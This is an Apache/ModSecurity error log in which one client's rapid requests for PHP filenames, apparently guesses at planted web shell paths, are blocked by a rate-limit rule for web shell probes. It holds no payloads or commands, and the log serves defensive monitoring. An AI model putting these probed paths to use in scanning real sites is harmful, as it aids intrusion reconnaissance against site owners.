[Wed Jan 21 00:10:17.216027 2026] [:error] [pid 54382:tid 54409] [client 20.230.68.25:18847] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/he.php"] [unique_id "aW-o6UTJlZ9SJ6sBOEvdrgAAABg"]
[Wed Jan 21 00:10:17.729061 2026] [:error] [pid 17295:tid 17315] [client 20.230.68.25:18878] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cfile.php"] [unique_id "aW-o6fZJhGdrcqZICT-2kgAAAZE"]
[Wed Jan 21 00:10:18.314908 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.25:4040] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cfile.php"] [unique_id "aW-o6vAsOSYVgw_35t3J0gAAAkY"]
[Wed Jan 21 00:10:18.818440 2026] [:error] [pid 54382:tid 54396] [client 20.230.68.25:4059] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cfile.php"] [unique_id "aW-o6kTJlZ9SJ6sBOEvdrwAAAAs"]
[Wed Jan 21 00:10:19.331338 2026] [:error] [pid 17340:tid 17370] [client 20.230.68.25:4065] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cfile.php"] [unique_id "aW-o6_AsOSYVgw_35t3J2gAAAk4"]
[Wed Jan 21 00:10:19.803460 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.25:3939] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doti.php"] [unique_id "aW-o6_ZJhGdrcqZICT-2mQAAAZM"]
[Wed Jan 21 00:10:20.269815 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.25:18924] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doti.php"] [unique_id "aW-o7PAsOSYVgw_35t3J4wAAAlE"]
[Wed Jan 21 00:10:20.774431 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.25:18875] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doti.php"] [unique_id "aW-o7E1J8CD1rR-wXXt9dQAAAQk"]
[Wed Jan 21 00:10:21.360255 2026] [:error] [pid 17295:tid 17311] [client 20.230.68.25:3981] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doti.php"] [unique_id "aW-o7fZJhGdrcqZICT-2nQAAAY0"]
[Wed Jan 21 00:10:21.864717 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.25:18832] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aW-o7fZJhGdrcqZICT-2oQAAAYs"]
[Wed Jan 21 00:10:22.344617 2026] [:error] [pid 56360:tid 56362] [client 20.230.68.25:18873] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aW-o7k1J8CD1rR-wXXt9egAAAQA"]
[Wed Jan 21 00:10:22.808285 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.25:3974] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aW-o7vZJhGdrcqZICT-2pAAAAZA"]
[Wed Jan 21 00:10:23.240388 2026] [:error] [pid 54382:tid 54388] [client 20.230.68.25:3996] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sko.php"] [unique_id "aW-o70TJlZ9SJ6sBOEvdsQAAAAM"]
[Wed Jan 21 00:10:23.672694 2026] [:error] [pid 17340:tid 17357] [client 20.230.68.25:18821] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aW-o7_AsOSYVgw_35t3J6wAAAkE"]
[Wed Jan 21 00:10:24.170948 2026] [:error] [pid 56360:tid 56370] [client 20.230.68.25:18894] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aW-o8E1J8CD1rR-wXXt9fQAAAQg"]
[Wed Jan 21 00:10:24.631009 2026] [:error] [pid 63647:tid 63666] [client 20.230.68.25:3973] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aW-o8FUaYw1xHOoaFFI5TgAAAhE"]
[Wed Jan 21 00:10:25.083391 2026] [:error] [pid 54259:tid 54291] [client 20.230.68.25:3911] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aW-o8Q2q1USrePnOoFQYBAAAAI4"]
[Wed Jan 21 00:10:25.575977 2026] [:error] [pid 56360:tid 56374] [client 20.230.68.25:4068] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws37.php"] [unique_id "aW-o8U1J8CD1rR-wXXt9gAAAAQw"]
[Wed Jan 21 00:10:26.046803 2026] [:error] [pid 17295:tid 17316] [client 20.230.68.25:18820] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws37.php"] [unique_id "aW-o8vZJhGdrcqZICT-2uAAAAZI"]
[Wed Jan 21 00:10:26.531751 2026] [:error] [pid 17295:tid 17299] [client 20.230.68.25:4091] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws37.php"] [unique_id "aW-o8vZJhGdrcqZICT-2vQAAAYE"]
[Wed Jan 21 00:10:27.053961 2026] [:error] [pid 56291:tid 56303] [client 20.230.68.25:3976] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws37.php"] [unique_id "aW-o87XgW_1T5Nikxa0W2gAAAEg"]
[Wed Jan 21 00:10:27.563982 2026] [:error] [pid 56291:tid 56314] [client 20.230.68.25:4056] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aW-o87XgW_1T5Nikxa0W3AAAAFM"]
[Wed Jan 21 00:10:27.980434 2026] [:error] [pid 54382:tid 54408] [client 20.230.68.25:18851] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aW-o80TJlZ9SJ6sBOEvdtwAAABc"]
[Wed Jan 21 00:10:28.420989 2026] [:error] [pid 8455:tid 8473] [client 20.230.68.25:4018] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aW-o9IJiHdPVtruynXDZRQAAA1A"]
[Wed Jan 21 00:10:28.900267 2026] [:error] [pid 17295:tid 17316] [client 20.230.68.25:18890] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aW-o9PZJhGdrcqZICT-2yQAAAZI"]
[Wed Jan 21 00:10:29.343001 2026] [:error] [pid 63647:tid 63651] [client 20.230.68.25:3972] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nfile.php"] [unique_id "aW-o9VUaYw1xHOoaFFI5TwAAAgI"]
[Wed Jan 21 00:10:29.796089 2026] [:error] [pid 56326:tid 56341] [client 20.230.68.25:4054] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nfile.php"] [unique_id "aW-o9RA6mi8Uwf45Uy9ZHQAAAM0"]
[Wed Jan 21 00:10:30.287050 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.25:4026] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nfile.php"] [unique_id "aW-o9kTJlZ9SJ6sBOEvduAAAAA8"]
[Wed Jan 21 00:10:30.780012 2026] [:error] [pid 54382:tid 54385] [client 20.230.68.25:4079] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nfile.php"] [unique_id "aW-o9kTJlZ9SJ6sBOEvduQAAAAA"]
[Wed Jan 21 00:10:31.262220 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.25:3998] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aW-o9_ZJhGdrcqZICT-20wAAAYY"]
[Wed Jan 21 00:10:31.708734 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.25:4033] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aW-o94JiHdPVtruynXDZSwAAA0U"]
[Wed Jan 21 00:10:32.245407 2026] [:error] [pid 56326:tid 56349] [client 20.230.68.25:18897] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aW-o-BA6mi8Uwf45Uy9ZIAAAANU"]
[Wed Jan 21 00:10:32.737129 2026] [:error] [pid 54382:tid 54387] [client 20.230.68.25:4014] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aW-o-ETJlZ9SJ6sBOEvdvQAAAAI"]
[Wed Jan 21 00:10:33.171252 2026] [:error] [pid 56360:tid 56362] [client 20.230.68.25:18879] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aW-o-U1J8CD1rR-wXXt9hQAAAQA"]
[Wed Jan 21 00:10:33.605538 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.25:18822] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aW-o-fZJhGdrcqZICT-22wAAAY4"]
[Wed Jan 21 00:10:34.080462 2026] [:error] [pid 17340:tid 17370] [client 20.230.68.25:3986] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aW-o-vAsOSYVgw_35t3J7wAAAk4"]
[Wed Jan 21 00:10:34.568536 2026] [:error] [pid 63647:tid 63650] [client 20.230.68.25:18816] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aW-o-lUaYw1xHOoaFFI5UgAAAgE"]
[Wed Jan 21 00:10:35.006098 2026] [:error] [pid 17340:tid 17369] [client 20.230.68.25:3985] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aW-o-_AsOSYVgw_35t3J8gAAAk0"]
[Wed Jan 21 00:10:35.552884 2026] [:error] [pid 56360:tid 56375] [client 20.230.68.25:4095] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aW-o-01J8CD1rR-wXXt9hgAAAQ0"]
[Wed Jan 21 00:10:35.967920 2026] [:error] [pid 56360:tid 56385] [client 20.230.68.25:3915] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aW-o-01J8CD1rR-wXXt9hwAAARc"]
[Wed Jan 21 00:10:36.424340 2026] [:error] [pid 56360:tid 56370] [client 20.230.68.25:3978] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/031.php"] [unique_id "aW-o_E1J8CD1rR-wXXt9iwAAAQg"]
[Wed Jan 21 00:10:36.927134 2026] [:error] [pid 56291:tid 56298] [client 20.230.68.25:18891] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aW-o_LXgW_1T5Nikxa0W4QAAAEM"]
[Wed Jan 21 00:10:37.426134 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.25:18882] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aW-o_dg7jS3jmpUN0WA8EgAAAU0"]
[Wed Jan 21 00:10:37.887662 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.25:3993] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aW-o_fZJhGdrcqZICT-26AAAAY4"]
[Wed Jan 21 00:10:38.308355 2026] [:error] [pid 54259:tid 54297] [client 20.230.68.25:4051] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aW-o_g2q1USrePnOoFQYDwAAAJQ"]
[Wed Jan 21 00:10:38.746733 2026] [:error] [pid 63647:tid 63655] [client 20.230.68.25:4012] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aW-o_lUaYw1xHOoaFFI5WAAAAgY"]
[Wed Jan 21 00:10:39.211146 2026] [:error] [pid 17295:tid 17307] [client 20.230.68.25:3988] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aW-o__ZJhGdrcqZICT-27wAAAYk"]
[Wed Jan 21 00:10:39.665477 2026] [:error] [pid 17295:tid 17310] [client 20.230.68.25:4090] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aW-o__ZJhGdrcqZICT-28gAAAYw"]
[Wed Jan 21 00:10:40.128697 2026] [:error] [pid 56326:tid 56340] [client 20.230.68.25:4021] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aW-pABA6mi8Uwf45Uy9ZJAAAAMw"]
[Wed Jan 21 00:10:40.582742 2026] [:error] [pid 54382:tid 54395] [client 20.230.68.25:4087] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx38.php"] [unique_id "aW-pAETJlZ9SJ6sBOEvdwQAAAAo"]
[Wed Jan 21 00:10:41.072858 2026] [:error] [pid 17340:tid 17380] [client 20.230.68.25:18865] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx38.php"] [unique_id "aW-pAfAsOSYVgw_35t3J9QAAAlg"]
[Wed Jan 21 00:10:41.593845 2026] [:error] [pid 56326:tid 56348] [client 20.230.68.25:18862] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx38.php"] [unique_id "aW-pARA6mi8Uwf45Uy9ZKQAAANQ"]
[Wed Jan 21 00:10:42.046792 2026] [:error] [pid 8455:tid 8460] [client 20.230.68.25:4094] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx38.php"] [unique_id "aW-pAoJiHdPVtruynXDZUQAAA0M"]
[Wed Jan 21 00:10:42.474832 2026] [:error] [pid 17295:tid 17319] [client 20.230.68.25:4062] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aW-pAvZJhGdrcqZICT-29wAAAZU"]
[Wed Jan 21 00:10:42.946275 2026] [:error] [pid 56291:tid 56311] [client 20.230.68.25:3987] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aW-pArXgW_1T5Nikxa0W4wAAAFA"]
[Wed Jan 21 00:10:43.393900 2026] [:error] [pid 8455:tid 8465] [client 20.230.68.25:3904] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aW-pA4JiHdPVtruynXDZUwAAA0g"]
